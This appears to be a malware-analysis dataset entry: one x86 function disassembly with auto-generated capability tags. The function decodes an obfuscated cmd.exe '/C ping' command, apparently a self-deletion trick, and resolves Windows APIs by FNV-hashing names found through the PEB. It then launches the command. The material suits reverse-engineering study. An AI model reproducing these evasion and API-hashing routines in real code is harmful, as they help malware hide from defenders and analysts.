Function at 0x49edd0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check for peb beingdebugged flag
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov ecx, 0x800
call fcn.004bca70
mov dword [ebp - 0x10], eax
mov edi, 0x22
mov eax, dword fs:[0x30]
mov esi, 0x6b
mov word [ebp - 0x1d4], di
mov edx, 0x70
mov dword [ebp - 0x14], eax
mov ecx, 0x39
mov eax, 0x31
mov ebx, 0x32
mov word [ebp - 0x1d2], ax
mov eax, 0x45
mov word [ebp - 0x1d0], ax
mov eax, 0x72
mov word [ebp - 0x1ce], di
mov word [ebp - 0x1cc], ax
mov eax, 0x69
mov word [ebp - 0x1ca], si
mov word [ebp - 0x1c8], dx
mov word [ebp - 0x1c6], ax
mov eax, 0x33
mov word [ebp - 0x1c4], di
mov word [ebp - 0x1c2], ax
mov eax, 0x34
mov word [ebp - 0x1c0], ax
mov eax, 0x30
mov word [ebp - 0x1be], cx
mov word [ebp - 0x1bc], ax
mov word [ebp - 0x1ba], bx
mov word [ebp - 0x1b8], ax
mov word [ebp - 0x1b6], bx
mov word [ebp - 0x1b4], ax
mov eax, 0x2f
mov word [ebp - 0x1b2], cx
mov ecx, 0x28
mov word [ebp - 0x1b0], di
mov word [ebp - 0x1ae], ax
mov eax, 0x35
mov word [ebp - 0x1ac], dx
mov edx, 0x22
mov word [ebp - 0x1aa], di
mov word [ebp - 0x1a8], ax
mov eax, 0x40
mov word [ebp - 0x1a6], di
mov word [ebp - 0x1a4], ax
mov eax, 0x50
mov word [ebp - 0x1a2], di
mov edi, 0x6e
mov word [ebp - 0x1a0], ax
mov eax, 0x77
mov word [ebp - 0x19e], ax
mov word [ebp - 0x19c], di
mov word [ebp - 0x19a], dx
mov word [ebp - 0x198], cx
mov ecx, 0x68
mov word [ebp - 0x196], dx
mov edx, 0x75
mov word [ebp - 0x194], cx
mov word [ebp - 0x192], dx
mov edx, 0x76
mov word [ebp - 0x190], ax
mov eax, 0x22
mov word [ebp - 0x18e], dx
mov word [ebp - 0x18c], si
mov word [ebp - 0x18a], di
mov word [ebp - 0x188], ax
mov word [ebp - 0x186], cx
mov word [ebp - 0x184], si
mov word [ebp - 0x182], di
mov edi, 0x67
mov word [ebp - 0x180], di
mov word [ebp - 0x17e], ax
mov eax, 0x75
mov word [ebp - 0x17c], ax
mov word [ebp - 0x17a], di
mov word [ebp - 0x178], dx
mov eax, 0x5c
mov ecx, 0x71
mov word [ebp - 0x176], ax
mov esi, 0x46
mov word [ebp - 0x174], di
mov eax, 0x74
mov word [ebp - 0x172], ax
mov eax, 0x63
mov word [ebp - 0x170], cx
mov word [ebp - 0x16e], si
mov word [ebp - 0x16c], ax
mov word [ebp - 0x16a], dx
mov word [ebp - 0x168], ax
mov eax, 0x22
mov word [ebp - 0x166], ax
mov eax, 0x68
mov word [ebp - 0x164], cx
mov ecx, 0x3f
mov word [ebp - 0x162], ax
mov word [ebp - 0x160], ax
mov eax, 0x75
mov word [ebp - 0x15e], ax
mov eax, 0x22
mov word [ebp - 0x15c], di
mov word [ebp - 0x15a], dx
mov word [ebp - 0x158], cx
mov word [ebp - 0x156], bx
mov ebx, 0x6e
mov word [ebp - 0x154], ax
mov eax, 0x70
mov word [ebp - 0x152], bx
mov word [ebp - 0x150], di
mov word [ebp - 0x14e], ax
mov eax, 0x69
mov word [ebp - 0x14c], ax
mov eax, 0x6a
mov word [ebp - 0x14a], dx
mov edx, 0x24
mov word [ebp - 0x148], ax
mov eax, 0x37
mov word [ebp - 0x146], cx
mov ecx, 0x34
mov word [ebp - 0x144], ax
mov eax, 0x36
mov word [ebp - 0x142], cx
mov word [ebp - 0x140], ax
mov eax, 0x3a
mov word [ebp - 0x13e], cx
mov ecx, 0x27
mov word [ebp - 0x13c], ax
mov word [ebp - 0x13a], ax
mov eax, 0x22
mov word [ebp - 0x138], ax
mov eax, 0x75
mov word [ebp - 0x136], dx
mov word [ebp - 0x134], cx
mov word [ebp - 0x132], ax
mov eax, 0x22
mov word [ebp - 0x130], dx
mov word [ebp - 0x12e], ax
mov eax, 0x28
mov word [ebp - 0x12c], ax
mov eax, 0x22
mov word [ebp - 0x12a], ax
mov word [ebp - 0x128], si
mov esi, 0x31
mov word [ebp - 0x126], di
mov word [ebp - 0x124], bx
mov ebx, eax
mov word [ebp - 0x122], bx
mov eax, 0x68
mov word [ebp - 0x120], si
mov word [ebp - 0x11e], ax
mov eax, 0x73
mov word [ebp - 0x11c], bx
mov word [ebp - 0x11a], si
mov word [ebp - 0x118], ax
mov eax, 0x75
mov word [ebp - 0x116], bx
mov word [ebp - 0x114], dx
mov word [ebp - 0x112], cx
mov word [ebp - 0x110], ax
mov eax, 2
mov word [ebp - 0x10e], dx
mov word [ebp - 0x10c], ax
movzx eax, word [0x403562]
add eax, 2
mov word [ebp - 0x10a], ax
movzx eax, word [0x403564]
add eax, 2
mov word [ebp - 0x108], ax
movzx eax, word [0x403566]
add eax, 2
mov word [ebp - 0x106], ax
movzx eax, word [0x403568]
add eax, 2
mov word [ebp - 0x104], ax
movzx eax, word [0x40356a]
add eax, 2
mov word [ebp - 0x102], ax
movzx eax, word [0x40356c]
add eax, 2
mov word [ebp - 0x100], ax
movzx eax, word [0x40356e]
add eax, 2
mov word [ebp - 0xfe], ax
movzx eax, word [0x403570]
add eax, 2
mov word [ebp - 0xfc], ax
movzx eax, word [0x403572]
add eax, 2
mov word [ebp - 0xfa], ax
movzx eax, word [0x403574]
add eax, 2
mov word [ebp - 0xf8], ax
movzx eax, word [0x403576]
add eax, 2
mov word [ebp - 0xf6], ax
movzx eax, word [0x403578]
add eax, 2
mov word [ebp - 0xf4], ax
movzx eax, word [0x40357a]
add eax, 2
mov word [ebp - 0xf2], ax
movzx eax, word [0x40357c]
add eax, 2
mov word [ebp - 0xf0], ax
movzx eax, word [0x40357e]
add eax, 2
mov word [ebp - 0xee], ax
movzx eax, word [0x403580]
add eax, 2
mov word [ebp - 0xec], ax
movzx eax, word [0x403582]
add eax, 2
mov word [ebp - 0xea], ax
movzx eax, word [0x403584]
add eax, 2
mov word [ebp - 0xe8], ax
movzx eax, word [0x403586]
add eax, 2
mov word [ebp - 0xe6], ax
movzx eax, word [0x403588]
add eax, 2
mov word [ebp - 0xe4], ax
movzx eax, word [0x40358a]
add eax, 2
mov word [ebp - 0xe2], ax
movzx eax, word [0x40358c]
add eax, 2
mov word [ebp - 0xe0], ax
movzx eax, word [0x40358e]
add eax, 2
mov word [ebp - 0xde], ax
movzx eax, word [0x403590]
add eax, 2
mov word [ebp - 0xdc], ax
movzx eax, word [0x403592]
add eax, 2
mov word [ebp - 0xda], ax
movzx eax, word [0x403594]
add eax, 2
mov word [ebp - 0xd8], ax
movzx eax, word [0x403596]
add eax, 2
mov word [ebp - 0xd6], ax
movzx eax, word [0x403598]
add eax, 2
mov word [ebp - 0xd4], ax
movzx eax, word [0x40359a]
add eax, 2
mov word [ebp - 0xd2], ax
movzx eax, word [0x40359c]
add eax, 2
mov word [ebp - 0xd0], ax
movzx eax, word [0x40359e]
add eax, 2
mov word [ebp - 0xce], ax
movzx eax, word [0x4035a0]
add eax, 2
mov word [ebp - 0xcc], ax
movzx eax, word [0x4035a2]
add eax, 2
mov word [ebp - 0xca], ax
movzx eax, word [0x4035a4]
add eax, 2
mov word [ebp - 0xc8], ax
movzx eax, word [0x4035a6]
add eax, 2
mov word [ebp - 0xc6], ax
movzx eax, word [0x4035a8]
add eax, 2
mov word [ebp - 0xc4], ax
movzx eax, word [0x4035aa]
add eax, 2
mov word [ebp - 0xc2], ax
movzx eax, word [0x4035ac]
add eax, 2
mov word [ebp - 0xc0], ax
movzx eax, word [0x4035ae]
add eax, 2
mov word [ebp - 0xbe], ax
movzx eax, word [0x4035b0]
add eax, 2
mov word [ebp - 0xbc], ax
movzx eax, word [0x4035b2]
add eax, 2
mov word [ebp - 0xba], ax
movzx eax, word [0x4035b4]
add eax, 2
mov word [ebp - 0xb8], ax
movzx eax, word [0x4035b6]
add eax, 2
mov word [ebp - 0xb6], ax
movzx eax, word [0x4035b8]
add eax, 2
mov word [ebp - 0xb4], ax
movzx eax, word [0x4035ba]
add eax, 2
mov word [ebp - 0xb2], ax
movzx eax, word [0x4035bc]
add eax, 2
mov word [ebp - 0xb0], ax
movzx eax, word [0x4035be]
add eax, 2
mov word [ebp - 0xae], ax
movzx eax, word [0x4035c0]
add eax, 2
mov word [ebp - 0xac], ax
movzx eax, word [0x4035c2]
add eax, 2
mov word [ebp - 0xaa], ax
movzx eax, word [0x4035c4]
add eax, 2
mov word [ebp - 0xa8], ax
movzx eax, word [0x4035c6]
add eax, 2
mov word [ebp - 0xa6], ax
movzx eax, word [0x4035c8]
add eax, 2
mov word [ebp - 0xa4], ax
movzx eax, word [0x4035ca]
add eax, 2
mov word [ebp - 0xa2], ax
movzx eax, word [0x4035cc]
add eax, 2
mov word [ebp - 0xa0], ax
movzx eax, word [0x4035ce]
add eax, 2
mov word [ebp - 0x9e], ax
movzx eax, word [0x4035d0]
add eax, 2
mov word [ebp - 0x9c], ax
movzx eax, word [0x4035d2]
add eax, 2
mov word [ebp - 0x9a], ax
movzx eax, word [0x4035d4]
add eax, 2
mov word [ebp - 0x98], ax
movzx eax, word [0x4035d6]
add eax, 2
mov word [ebp - 0x96], ax
movzx eax, word [0x4035d8]
add eax, 2
mov word [ebp - 0x94], ax
movzx eax, word [0x4035da]
add eax, 2
mov word [ebp - 0x92], ax
movzx eax, word [0x4035dc]
add eax, 2
mov word [ebp - 0x90], ax
movzx eax, word [0x4035de]
add eax, 2
mov word [ebp - 0x8e], ax
movzx eax, word [0x4035e0]
add eax, 2
mov word [ebp - 0x8c], ax
movzx eax, word [0x4035e2]
add eax, 2
mov word [ebp - 0x8a], ax
movzx eax, word [0x4035e4]
add eax, 2
mov word [ebp - 0x88], ax
movzx eax, word [0x4035e6]
add eax, 2
mov word [ebp - 0x86], ax
movzx eax, word [0x4035e8]
add eax, 2
mov word [ebp - 0x84], ax
movzx eax, word [0x4035ea]
add eax, 2
mov word [ebp - 0x82], ax
movzx eax, word [0x4035ec]
add eax, 2
mov word [ebp - 0x80], ax
movzx eax, word [0x4035ee]
add eax, 2
mov word [ebp - 0x7e], ax
movzx eax, word [0x4035f0]
add eax, 2
mov word [ebp - 0x7c], ax
movzx eax, word [0x4035f2]
add eax, 2
mov word [ebp - 0x7a], ax
movzx eax, word [0x4035f4]
add eax, 2
mov word [ebp - 0x78], ax
movzx eax, word [0x4035f6]
add eax, 2
mov word [ebp - 0x76], ax
movzx eax, word [0x4035f8]
add eax, 2
mov word [ebp - 0x74], ax
movzx eax, word [0x4035fa]
add eax, 2
mov word [ebp - 0x72], ax
movzx eax, word [0x4035fc]
add eax, 2
mov word [ebp - 0x70], ax
movzx eax, word [0x4035fe]
add eax, 2
mov word [ebp - 0x6e], ax
movzx eax, word [0x403600]
add eax, 2
mov word [ebp - 0x6c], ax
movzx eax, word [0x403602]
add eax, 2
mov word [ebp - 0x6a], ax
movzx eax, word [0x403604]
add eax, 2
mov word [ebp - 0x68], ax
movzx eax, word [0x403606]
add eax, 2
mov word [ebp - 0x66], ax
movzx eax, word [0x403608]
add eax, 2
mov word [ebp - 0x64], ax
movzx eax, word [0x40360a]
add eax, 2
mov word [ebp - 0x62], ax
movzx eax, word [0x40360c]
add eax, 2
mov word [ebp - 0x60], ax
movzx eax, word [0x40360e]
add eax, 2
mov word [ebp - 0x5e], ax
movzx eax, word [0x403610]
add eax, 2
mov word [ebp - 0x5c], ax
movzx eax, word [0x403612]
add eax, 2
mov word [ebp - 0x5a], ax
movzx eax, word [0x403614]
add eax, 2
mov word [ebp - 0x58], ax
movzx eax, word [0x403616]
add eax, 2
mov word [ebp - 0x56], ax
movzx eax, word [0x403618]
add eax, 2
mov word [ebp - 0x54], ax
movzx eax, word [0x40361a]
add eax, 2
mov word [ebp - 0x52], ax
movzx eax, word [0x40361c]
add eax, 2
mov word [ebp - 0x50], ax
movzx eax, word [0x40361e]
add eax, 2
mov word [ebp - 0x4e], ax
movzx eax, word [0x403620]
add eax, 2
mov word [ebp - 0x4c], ax
movzx eax, word [0x403622]
add eax, 2
mov word [ebp - 0x4a], ax
movzx eax, word [0x403624]
add eax, 2
mov word [ebp - 0x48], ax
movzx eax, word [0x403626]
add eax, 2
mov word [ebp - 0x46], ax
movzx eax, word [0x403628]
add eax, 2
mov word [ebp - 0x44], ax
xor eax, eax
mov word [ebp - 0x42], ax
xor ecx, ecx
mov ax, word [ebp - 0x1d4]
nop word [eax + eax]
mov ax, word [ebp + ecx*2 - 0x1d4]
movzx eax, ax
add eax, 0xfffffffe
mov word [ebp + ecx*2 - 0x1d4], ax
inc ecx
cmp ecx, 0xc9
jb 0x49f830
mov ebx, dword [0x4f37a8]
test ebx, ebx
jne 0x49f8e4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49f8cb
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x49f893
cmp eax, 0xc0323159
je 0x49fdad
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49f8dc
cmp dword [ecx + 0x18], 0
jne 0x49f875
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov ecx, dword [0x4f37b4]
test ecx, ecx
jne 0x49f97f
test ebx, ebx
je 0x49f977
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49f979
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49f977
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49f965
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49f930
cmp edi, 0xaeb3c6d5
je 0x49fdb8
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49f920
xor ecx, ecx
mov dword [0x4f37b4], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
push eax
push eax
lea eax, [ebp - 0x1d4]
push eax
push dword [ebp - 0x10]
call ecx
mov ebx, dword [0x4f3810]
add esp, 0x10
test ebx, ebx
jne 0x49fa31
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49fa18
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49f9e0
cmp eax, 0xa3e6f6c3
je 0x49fdd6
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49fa29
cmp dword [ecx + 0x18], 0
jne 0x49f9c0
xor ebx, ebx
mov dword [0x4f3810], ebx
mov ecx, dword [0x4fbc58]
test ecx, ecx
jne 0x49facf
test ebx, ebx
je 0x49fac7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49fac9
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49fac7
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop word [eax + eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49fab5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49fa80
cmp edi, 0x5dc69f50
je 0x49fde1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49fa70
xor ecx, ecx
mov dword [0x4fbc58], ecx
mov eax, dword [ebp - 0x14]
push 4
push 0
mov eax, dword [eax + 0x10]
push dword [eax + 0x3c]
call ecx
mov dword [ebp - 0x210], 0x3c
mov dword [ebp - 0x20c], 0x400
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x40], 0x4c
mov eax, dword [ebp - 0x40]
xor eax, 0x63
mov word [ebp - 0x3c], ax
mov eax, dword [ebp - 0x40]
inc eax
xor eax, 0x6d
mov word [ebp - 0x3a], ax
mov eax, dword [ebp - 0x40]
add eax, 2
xor eax, 0x64
mov word [ebp - 0x38], ax
mov eax, dword [ebp - 0x40]
add eax, 3
xor eax, 0x2e
mov word [ebp - 0x36], ax
mov eax, dword [ebp - 0x40]
add eax, 4
xor eax, 0x65
mov word [ebp - 0x34], ax
mov eax, dword [ebp - 0x40]
add eax, 5
xor eax, 0x78
mov word [ebp - 0x32], ax
mov eax, dword [ebp - 0x40]
add eax, 6
xor eax, 0x65
mov word [ebp - 0x30], ax
mov eax, dword [ebp - 0x40]
add eax, 7
mov word [ebp - 0x2e], ax
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x403574]
add eax, 8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x2c], cx
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x403576]
add eax, 9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x2a], cx
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x403578]
add eax, 0xa
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x28], cx
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x40357a]
add eax, 0xb
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x26], cx
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x40357c]
add eax, 0xc
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x24], cx
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x40357e]
add eax, 0xd
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x22], cx
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x403580]
add eax, 0xe
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x20], cx
xor edx, edx
mov word [ebp - 0x1e], ax
mov ax, word [ebp - 0x3c]
mov ax, word [ebp + edx*2 - 0x3c]
mov ecx, dword [ebp - 0x40]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x3c], cx
inc edx
cmp edx, 0xf
jb 0x49fc13
mov ebx, dword [0x4fbbdc]
xor eax, eax
mov word [ebp - 0x1e], ax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0
test ebx, ebx
jne 0x49fd01
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49fce8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x10]
imul eax, eax, 0x1000193
mov dword [ebp - 0x10], eax
cmp edi, ebx
jne 0x49fcb0
cmp eax, 0x4f644736
je 0x49fdff
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49fcf9
cmp dword [ecx + 0x18], 0
jne 0x49fc90
xor ebx, ebx
mov dword [0x4fbbdc], ebx
mov eax, dword [0x4fbc64]
test eax, eax
jne 0x49fd9d
test ebx, ebx
je 0x49fd96
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x49fd96
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x49fd96
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 4]
add eax, ebx
mov dword [ebp - 0x10], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x49fd84
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x49fd51
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
cmp edi, 0x50206cf2
je 0x49fe0a
mov eax, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], eax
cmp ecx, dword [edx + 0x18]
jne 0x49fd40
xor eax, eax
mov dword [0x4fbc64], eax
lea ecx, [ebp - 0x210]
push ecx
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49f8de
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
jmp 0x49f979
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49fa2b
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
jmp 0x49fac9
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49fcfb
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
lea ecx, [ebp - 0x210]
add eax, ebx
push ecx
mov dword [0x4fbc64], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret